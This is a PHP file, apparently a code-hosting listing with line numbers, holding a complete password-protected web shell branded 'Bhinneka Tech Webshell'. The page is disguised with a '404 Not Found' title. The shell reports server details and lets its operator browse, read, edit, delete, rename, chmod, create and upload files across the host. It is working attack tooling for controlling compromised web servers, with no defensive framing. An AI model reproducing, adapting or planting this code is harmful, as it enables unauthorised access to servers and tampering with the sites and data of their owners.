bhon.php 21 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671
  1. <?php
  2. error_reporting(0);
  3. $password = "d61155f6f6120c0f17546b5311b08f9e";
  4. session_start();
  5. if(md5($_POST['password']) == $password) {
  6. $_SESSION['isLogin'] = true;
  7. }else {
  8. loginShell();
  9. }
  10. function info() {
  11. $arr = [
  12. 'ip' => $_SERVER['SERVER_ADDR'],
  13. 'host' => gethostname(),
  14. 'kernel' => php_uname(),
  15. 'disablefunc' => ini_get('disable_functions'),
  16. 'path' => getcwd(),
  17. 'os' => PHP_OS,
  18. ];
  19. return $arr;
  20. }
  21. $getInfo = info();
  22. if(strtoupper(substr($getInfo['os'], 0, 3)) == 'WIN') {
  23. $getInfo['os'] = 'Windows';
  24. $paths = explode('\\', $getInfo['path']);
  25. $paths = $paths[0] . '/';
  26. }else if(strtoupper(substr($getInfo['os'], 0, 3)) == 'LIN') {
  27. $getInfo['os'] = 'Linux';
  28. $paths = '/';
  29. }
  30. $dir = getcwd();
  31. if(isset($_GET['path'])) {
  32. $replace = str_replace('\\', '/', $_GET['path']);
  33. $replace = str_replace('//', '/', $_GET['path']);
  34. $pecah = explode('/', $replace);
  35. }else {
  36. $replace = str_replace('\\', '/', $dir);
  37. $pecah = explode('/', $replace);
  38. }
  39. function loginShell() {
  40. if(!isset($_SESSION['isLogin'])) {
  41. echo "<form method='POST'><input type='password' name='password'><button type='submit'>Submit</button></form>";
  42. die();
  43. }
  44. }
  45. function cekPermission($filenya) {
  46. $perms = fileperms($filenya);
  47. switch ($perms & 0xF000) {
  48. case 0xC000: // socket
  49. $info = 's';
  50. break;
  51. case 0xA000: // symbolic link
  52. $info = 'l';
  53. break;
  54. case 0x8000: // regular
  55. $info = '-';
  56. break;
  57. case 0x6000: // block special
  58. $info = 'b';
  59. break;
  60. case 0x4000: // directory
  61. $info = 'd';
  62. break;
  63. case 0x2000: // character special
  64. $info = 'c';
  65. break;
  66. case 0x1000: // FIFO pipe
  67. $info = 'p';
  68. break;
  69. default:
  70. $info = 'u';
  71. }
  72. //Untuk Owner
  73. $info .= (($perms & 0x0100) ? 'r' : '-');
  74. $info .= (($perms & 0x0080) ? 'w' : '-');
  75. $info .= (($perms & 0x0040) ?
  76. (($perms & 0x0800) ? 's' : 'x' ) :
  77. (($perms & 0x0800) ? 'S' : '-'));
  78. //Untuk Group
  79. $info .= (($perms & 0x0020) ? 'r' : '-');
  80. $info .= (($perms & 0x0010) ? 'w' : '-');
  81. $info .= (($perms & 0x0008) ?
  82. (($perms & 0x0400) ? 's' : 'x' ) :
  83. (($perms & 0x0400) ? 'S' : '-'));
  84. //Untuk Other
  85. $info .= (($perms & 0x0004) ? 'r' : '-');
  86. $info .= (($perms & 0x0002) ? 'w' : '-');
  87. $info .= (($perms & 0x0001) ?
  88. (($perms & 0x0200) ? 't' : 'x' ) :
  89. (($perms & 0x0200) ? 'T' : '-'));
  90. return $info;
  91. }
  92. function hitungSize($fileSize) {
  93. $bytes = sprintf('%u', filesize($fileSize));
  94. if ($bytes > 0)
  95. {
  96. $unit = intval(log($bytes, 1024));
  97. $units = array('B', 'KB', 'MB', 'GB');
  98. if (array_key_exists($unit, $units) === true)
  99. {
  100. return sprintf('%d %s', $bytes / pow(1024, $unit), $units[$unit]);
  101. }
  102. }
  103. return $bytes;
  104. }
  105. function bungkus($obj) {
  106. $wrap = filter_var(htmlspecialchars(file_get_contents($obj)), FILTER_SANITIZE_STRING);
  107. return $wrap;
  108. }
  109. function deleteFolder($dirnya) {
  110. $files = array_diff(scandir($dirnya), array('.', '..'));
  111. foreach ($files as $file) {
  112. (is_dir("$dirnya/$file")) ? deleteFolder("$dirnya/$file") : unlink("$dirnya/$file");
  113. }
  114. return rmdir($dirnya);
  115. }
  116. function folder_exist($folder)
  117. {
  118. $path = realpath($folder);
  119. if($path !== false AND is_dir($path))
  120. {
  121. return true;
  122. }
  123. return false;
  124. }
  125. if(isset($_GET['path'])) {
  126. $get = $_GET['path'];
  127. $pec = explode('/', $get);
  128. if(is_file($get)) {
  129. $konten = bungkus($get);
  130. $cek = true;
  131. $listDir = scandir($get);
  132. }else {
  133. $listDir = array_diff(scandir($get), ['.', '..']);
  134. }
  135. }else {
  136. $get = $replace;
  137. $listDir = array_diff(scandir($get), ['.', '..']);
  138. }
  139. if(isset($_POST['pilihan'])) {
  140. switch ($_POST['pilihan']) {
  141. case 'edit':
  142. $edit = true;
  143. $dirFile = $_POST['dir'];
  144. $sourceFile = $_POST['sourceFile'];
  145. if(!empty($sourceFile)){
  146. $fileHandle = fopen($dirFile, 'w');
  147. if($fileHandle !== false){
  148. if(fwrite($fileHandle, $sourceFile) !== false) {
  149. fclose($fileHandle);
  150. $successEdit = 'Berhasil di edit';
  151. } else {
  152. fclose($fileHandle);
  153. $successEdit = 'Gagal edit';
  154. }
  155. } else {
  156. $successEdit = 'Gagal membuka file untuk diedit';
  157. }
  158. }
  159. break;
  160. case $_POST['pilihan'] == 'rename':
  161. $rename = true;
  162. $dirFile = $_POST['dir'];
  163. $filename = $_POST['namaFile'];
  164. $namaBaru = $_POST['namaBaru'];
  165. if(!empty($namaBaru)){
  166. if(rename($dirFile, $_GET['path'] . '/' . $namaBaru)) {
  167. $filename = $namaBaru;
  168. $dirFile = $_GET['path'] . '/' . $namaBaru;
  169. $successRename = 'Berhasil rename';
  170. }else {
  171. $successRename = 'Gagal rename';
  172. }
  173. }
  174. break;
  175. case $_POST['pilihan'] == 'delete':
  176. $dirFile = $_POST['dir'];
  177. $type = $_POST['type'];
  178. if(isset($dirFile) && is_file($dirFile)) {
  179. if(unlink($dirFile)) {
  180. $pesanHapus = "<script>
  181. alert('File berhasil dihapus!!');
  182. window.location.href = window.location.href;
  183. </script>";
  184. }else {
  185. $pesanHapus = "<script>
  186. alert('File gagal dihapus!!');
  187. window.location.href = window.location.href;
  188. </script>";
  189. }
  190. }else if(isset($dirFile) && is_dir($dirFile)) {
  191. //$dirFile = $dirFile . '/';
  192. if(deleteFolder($dirFile)) {
  193. $pesanHapus = "<script>
  194. alert('Folder berhasil dihapus!!');
  195. window.location.href = window.location.href;
  196. </script>";
  197. }else {
  198. $pesanHapus = "<script>
  199. alert('Folder gagal dihapus!!');
  200. window.location.href = window.location.href;
  201. </script>";
  202. }
  203. }
  204. break;
  205. case $_POST['pilihan'] == 'chmod':
  206. $chmod = true;
  207. $file = fileperms($_POST['dir']);
  208. $permission = substr(sprintf('%o', $file), -4);
  209. $dirFile = $_POST['dir'];
  210. $perms = octdec($_POST['perms']);
  211. if(isset($_POST['perms'])) {
  212. if(isset($perms)) {
  213. if(chmod($dirFile, $perms)) {
  214. $permission = decoct($perms);
  215. $successChmod ='Berhasil chmod!';
  216. }else {
  217. $successChmod = 'Gagal chmod!';
  218. }
  219. }
  220. }
  221. break;
  222. case $_POST['pilihan'] == 'create':
  223. $namaFile = "";
  224. $isiFile = "";
  225. $dirPath = $_GET['path'] . '/';
  226. if(isset($_POST['createAction'])) {
  227. $namaFile = $_POST['createName'];
  228. $isiFile = ($_POST['createIsi'] == NULL) ? ' ' : $_POST['createIsi'];
  229. if(!file_exists($dirPath . $namaFile)) {
  230. if(file_put_contents($dirPath . $namaFile, $isiFile)) {
  231. $pesanCreate = 'File berhasil dibuat';
  232. }else {
  233. $pesanCreate = 'Directory not Writable';
  234. }
  235. }else {
  236. $pesanCreate = 'Nama file / folder sudah ada';
  237. }
  238. }
  239. break;
  240. case $_POST['pilihan'] == 'createFolder':
  241. $dirPath = $_GET['path'] . '/';
  242. if(isset($_POST['createFolder'])) {
  243. $namaFolder = $_POST['createName'];
  244. if(mkdir($dirPath . $namaFolder)) {
  245. $pesanCreate = 'Folder berhasil dibuat';
  246. }else {
  247. if(is_dir($namaFolder)) {
  248. $pesanCreate = 'Nama Folder / File sudah ada';
  249. }elseif(!is_writable($dirPath)){
  250. $pesanCreate = 'Directory not writable';
  251. }
  252. }
  253. }
  254. break;
  255. case $_POST['pilihan'] == 'upload':
  256. $path = $replace;
  257. if(isset($_GET['path'])) {
  258. $path = $_GET['path'];
  259. }
  260. if(isset($_FILES['uploadFile'])) {
  261. $namafile = $_FILES['uploadFile']['name'];
  262. $tempatfile = $_FILES['uploadFile']['tmp_name'];
  263. $error = $_FILES['uploadFile']['error'];
  264. $ukuranfile = $_FILES['uploadFile']['size'];
  265. if(move_uploaded_file($tempatfile, $path.'/'.$namafile)) {
  266. echo "<script>
  267. alert('File berhasil diupload!!');
  268. window.location.href = window.location.href;
  269. </script>";
  270. }else {
  271. echo "<script>
  272. alert('File gagal diupload!!');
  273. window.location.href = window.location.href;
  274. </script>";
  275. }
  276. }
  277. break;
  278. }
  279. }
  280. ?>
  281. <!DOCTYPE html>
  282. <html>
  283. <head>
  284. <title>404 Not Found</title>
  285. </head>
  286. <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
  287. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">
  288. <meta name="viewport" content="width=1024">
  289. <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  290. <meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
  291. <style type="text/css">
  292. body {
  293. width: 100vw;
  294. height: 100px;
  295. overflow-x: hidden !important;
  296. }
  297. .info {
  298. display: block;
  299. width: 100%;
  300. }
  301. table.striped > tbody > tr:nth-child(odd) {
  302. background-color: rgba(170, 213, 213, 0.5);
  303. }
  304. nav {
  305. background-color: #42a5f5;
  306. }
  307. .select-wrapper {
  308. position: relative;
  309. width: 100px;
  310. display: inline-block;
  311. }
  312. .file-field .btn, .file-field .btn-large, .file-field .btn-small {
  313. float: inherit;
  314. height: 3rem;
  315. line-height: 3rem;
  316. }
  317. .select-wrapper .caret {
  318. right: auto !important;
  319. }
  320. .select-wrapper input.select-dropdown {
  321. width: 50%;
  322. }
  323. textarea {
  324. height: 50rem !important;
  325. overflow-y: scroll !important;
  326. height: 700px !important;
  327. }
  328. .maung {
  329. height: 700px !important;
  330. }
  331. table{
  332. width:100%;
  333. table-layout: fixed;
  334. overflow-wrap: break-word;
  335. }
  336. @media screen and (max-width: 732px) {
  337. .navbar-text {
  338. font-size: 25px !important;
  339. width: 280px !important;
  340. }
  341. }
  342. </style>
  343. <body>
  344. <div class="content">
  345. <nav>
  346. <div class="container">
  347. <div class="nav-wrapper">
  348. <a href="#" class="brand-logo center navbar-text">Bhinneka Tech Webshell</a>
  349. </div>
  350. </div>
  351. </nav>
  352. <div class="container" style="margin-top: 30px;">
  353. <b class="info">Server IP : <?= $getInfo['ip']; ?></b>
  354. <b class="info">Hostname : <?= $getInfo['host']; ?></b>
  355. <b class="info">Kernel : <?= $getInfo['kernel']; ?></b>
  356. <b class="info">OS : <?= $getInfo['os']; ?></b>
  357. <b class="info">USER : <?= get_current_user(); ?></b>
  358. </div>
  359. <br>
  360. <?php if($cek){ ?>
  361. <div class="container">
  362. <div class="row">
  363. <div style="font-size: 17px;">
  364. <?php
  365. echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  366. for ($i = 1; $i < count($pecah); $i++) {
  367. $subpath = implode('/', array_slice($pecah, 1, $i));
  368. echo '/';
  369. echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  370. }
  371. ?>
  372. </div>
  373. <form class="col s12">
  374. <div class="row">
  375. <div class="input-field col s12">
  376. <textarea id="textarea" class="materialize-textarea" style="background-color: ghostwhite; overflow-y: auto;" disabled><?= $konten; ?></textarea>
  377. </div>
  378. </div>
  379. </form>
  380. </div>
  381. </div>
  382. <?php }else if($edit){ ?>
  383. <div class="container">
  384. <?php
  385. echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  386. for ($i = 1; $i < count($pecah); $i++) {
  387. $subpath = implode('/', array_slice($pecah, 1, $i));
  388. echo '/';
  389. echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  390. }
  391. ?>
  392. <?= !empty($successEdit) ? "<p class='blue-text text-darken-2'>" . $successEdit . "</p>" : ""; ?>
  393. <form method="POST">
  394. <input type="hidden" name="dir" value="<?= $dirFile; ?>">
  395. <input type="hidden" name="pilihan" value="edit">
  396. <div class="row">
  397. <form class="col s12">
  398. <div class="input-field col s12">
  399. <textarea name="sourceFile" id="textarea" class="materialize-textarea" style="background-color: ghostwhite; overflow-y: auto;" ><?= bungkus($dirFile); ?></textarea>
  400. <label for="textarea" class='active'>Edit File</label>
  401. <button class="btn waves-effect waves-light" type="submit" name="action">Edit</button>
  402. </form>
  403. </div>
  404. </form>
  405. </div>
  406. <?php }else if($rename){ ?>
  407. <div class="container">
  408. <?php
  409. echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  410. for ($i = 1; $i < count($pecah); $i++) {
  411. $subpath = implode('/', array_slice($pecah, 1, $i));
  412. echo '/';
  413. echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  414. }
  415. ?>
  416. <?= !empty($successRename) ? "<p class='blue-text text-darken-2'>" . $successRename . "</p>" : ""; ?>
  417. <form method="POST">
  418. <input type="hidden" name="dir" value="<?= $dirFile; ?>">
  419. <input type="hidden" name="pilihan" value="rename">
  420. <div class="row center-align">
  421. <div class="input-field col s12">
  422. <input value="<?= $filename; ?>" name="namaBaru" id="rename" type="text" class="validate">
  423. <label class="active" for="rename">Input disini:</label>
  424. <button class="btn waves-effect waves-light" type="submit" name="action">Rename</button>
  425. </div>
  426. </div>
  427. </form>
  428. </div>
  429. <?php }else if($chmod) { ?>
  430. <div class="container">
  431. <?php
  432. echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  433. for ($i = 1; $i < count($pecah); $i++) {
  434. $subpath = implode('/', array_slice($pecah, 1, $i));
  435. echo '/';
  436. echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  437. }
  438. ?>
  439. <?= !empty($successChmod) ? "<p class='blue-text text-darken-2'>" . $successChmod . "</p>" : ''; ?>
  440. <form method="POST">
  441. <input type="hidden" name="dir" value="<?= $dirFile; ?>">
  442. <input type="hidden" name="pilihan" value="chmod">
  443. <div class="row center-align">
  444. <div class="input-field col s12">
  445. <input value="<?= $permission; ?>" name="perms" id="chmod" type="text" class="validate">
  446. <label class="active" for="chmod">Input disini:</label>
  447. <button class="btn waves-effect waves-light" type="submit" name="action">Chmod</button>
  448. </div>
  449. </div>
  450. </form>
  451. </div>
  452. <?php }else if(isset($_GET['create'])){ ?>
  453. <br>
  454. <div class="container">
  455. <?php
  456. echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  457. for ($i = 1; $i < count($pecah); $i++) {
  458. $subpath = implode('/', array_slice($pecah, 1, $i));
  459. echo '/';
  460. echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  461. }
  462. ?>
  463. <?= !empty($pesanCreate) ? "<p class='blue-text text-darken-2'>" . $pesanCreate . "</p>" : ""; ?>
  464. <form method="POST">
  465. <input type="hidden" name="pilihan" value="create">
  466. <div class="row center-align">
  467. <div class="input-field col s12">
  468. <input name="createName" id="createFile" type="text" class="validate" value="<?= $namaFile; ?>">
  469. <label class="active" for="createFile">Nama File</label>
  470. <textarea name="createIsi" class="materialize-textarea" style="height: 400px; background-color: ghostwhite; overflow-y: scroll;"><?= $isiFile; ?></textarea>
  471. <button class="btn waves-effect waves-light" type="submit" name="createAction">Create</button>
  472. </div>
  473. </div>
  474. </form>
  475. </div>
  476. <?php }else if(isset($_GET['createFolder'])){ ?>
  477. <div class="container">
  478. <?php
  479. echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  480. for ($i = 1; $i < count($pecah); $i++) {
  481. $subpath = implode('/', array_slice($pecah, 1, $i));
  482. echo '/';
  483. echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  484. }
  485. ?>
  486. <?= !empty($pesanCreate) ? "<p class='blue-text text-darken-2'>" . $pesanCreate . "</p>" : ""; ?>
  487. <form method="POST">
  488. <input type="hidden" name="pilihan" value="createFolder">
  489. <div class="row center-align">
  490. <div class="input-field col s12">
  491. <input name="createName" id="createFolder" type="text" class="validate" value="<?= $namaFolder; ?>">
  492. <label class="active" for="createFolder">Nama Folder</label>
  493. <button class="btn waves-effect waves-light" type="submit" name="createFolder">Create</button>
  494. </div>
  495. </div>
  496. </form>
  497. </div>
  498. <?php }else{ ?>
  499. <div class="container">
  500. <b class="info">
  501. <a href="?create&path=<?= isset($_GET['path']) ? $_GET['path'] : $replace; ?>" class="btn-floating btn-large waves-effect waves-light red"><i class="material-icons">add</i></a> <b>Add File&nbsp;&nbsp;&nbsp;</b>
  502. <a href="?createFolder&path=<?= isset($_GET['path']) ? $_GET['path'] : $replace; ?>" class="btn-floating btn-large waves-effect waves-light blue""><i class="material-icons">add</i></a> <b>Add Folder</b>
  503. <br>
  504. <b class="info">
  505. <form method="POST" enctype="multipart/form-data">
  506. <div class="file-field input-field">
  507. <div class="btn">
  508. <span>File</span>
  509. <input type="hidden" name="pilihan" value="upload">
  510. <input type="hidden" name="dir" value="<?= $_GET['path'] ?>">
  511. <input type="file" name="uploadFile">
  512. </div>
  513. <div class="file-path-wrapper">
  514. <input class="file-path validate" type="text" style="width: 300px">
  515. <button class="btn waves-effect waves-light" type="submit" name="actionUpload">Upload!
  516. </button>
  517. </div>
  518. </div>
  519. </form>
  520. </b>
  521. <!-- <div style="font-size: 18px;"> -->
  522. <div class="row"><div class="col s12" style="font-size: 18px;">
  523. PATH:
  524. <?php
  525. echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
  526. for ($i = 1; $i < count($pecah); $i++) {
  527. $subpath = implode('/', array_slice($pecah, 1, $i));
  528. echo '/';
  529. echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
  530. }
  531. ?>
  532. </div></div>
  533. </div>
  534. <div class="container">
  535. <table class="striped centered bordered">
  536. <?= !empty($pesanHapus) ? $pesanHapus : ''; ?>
  537. <thead>
  538. <tr>
  539. <th>Nama</th>
  540. <th>Size</th>
  541. <th>Permission</th>
  542. <th>Action</th>
  543. </tr>
  544. </thead>
  545. <?php foreach($listDir as $dir): ?>
  546. <tr>
  547. <td><a style="color: black;" href="?path=<?= str_replace([".", "//"], ["%2e", '/'], $get . '/' . $dir); ?>"><?= $dir; ?></a></td>
  548. <td><?= is_file($get . '/' . $dir) ? hitungSize($get . '/' . $dir) : 'Folders'; ?></td>
  549. <td><?= is_writable($get . '/' . $dir) ? '<font color="green">' . @cekPermission($get . '/' . $dir) . '</font>' : '<font color="red">' . @cekPermission($get . '/' . $dir) . '</font>';?></td>
  550. <td>
  551. <?php if(is_file($get . '/' . $dir)): ?>
  552. <form method="POST" action="?set&path=<?= $get; ?>">
  553. <center>
  554. <select class="browser-default" name="pilihan" style="height: 30px; width: 70px; z-index: 1;">
  555. <option value="Select" disabled selected>Pilih</option>
  556. <option value="rename">Rename</option>
  557. <option value="edit">Edit</option>
  558. <option value="delete">Delete</option>
  559. <option value="chmod">Chmod</option>
  560. </select>
  561. </center>
  562. <input type="hidden" name="type" value="file">
  563. <input type="hidden" name="namaFile" value="<?= $dir; ?>">
  564. <input type="hidden" name="dir" value="<?= $get . '/' . $dir ?>">
  565. <button class="btn waves-effect waves-light" type="submit" name="action">
  566. <i class="material-icons right">send</i>
  567. </button>
  568. </form>
  569. <?php else: ?>
  570. <form method="POST" action="?set&path=<?= $get; ?>">
  571. <center>
  572. <select class="browser-default" name="pilihan" style="height: 30px; width: 70px; z-index: 1;" name="pilihan">
  573. <option value="Select" disabled selected>Pilih</option>
  574. <option value="rename">Rename</option>
  575. <option value="delete">Delete</option>
  576. <option value="chmod">Chmod</option>
  577. </select>
  578. </center>
  579. <input type="hidden" name="type" value="folder">
  580. <input type="hidden" name="namaFile" value="<?= $dir; ?>">
  581. <input type="hidden" name="dir" value="<?= $get . '/' . $dir ?>">
  582. <button class="btn waves-effect waves-light" type="submit" name="action">
  583. <i class="material-icons right">send</i>
  584. </button>
  585. </form>
  586. <?php endif; ?>
  587. </td>
  588. </tr>
  589. <?php endforeach; ?>
  590. </table>
  591. </div>
  592. <?php } ?>
  593. </div>
  594. <footer id="footer" style="margin-top: 100px;">
  595. </footer>
  596. <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
  597. <script>
  598. var footer = document.querySelector("footer");
  599. function stopScrollAtFooter() {
  600. var footerHeight = footer.clientHeight;
  601. var contentHeight = document.body.scrollHeight;
  602. var scrollY = window.scrollY;
  603. if (scrollY + window.innerHeight >= contentHeight - footerHeight) {
  604. window.scrollTo(0, contentHeight - window.innerHeight);
  605. }
  606. }
  607. window.addEventListener("scroll", stopScrollAtFooter);
  608. document.addEventListener('DOMContentLoaded', function() {
  609. var elems = document.querySelectorAll('select');
  610. var instances = M.FormSelect.init(elems, {});
  611. });
  612. </script>
  613. </body>
  614. </html>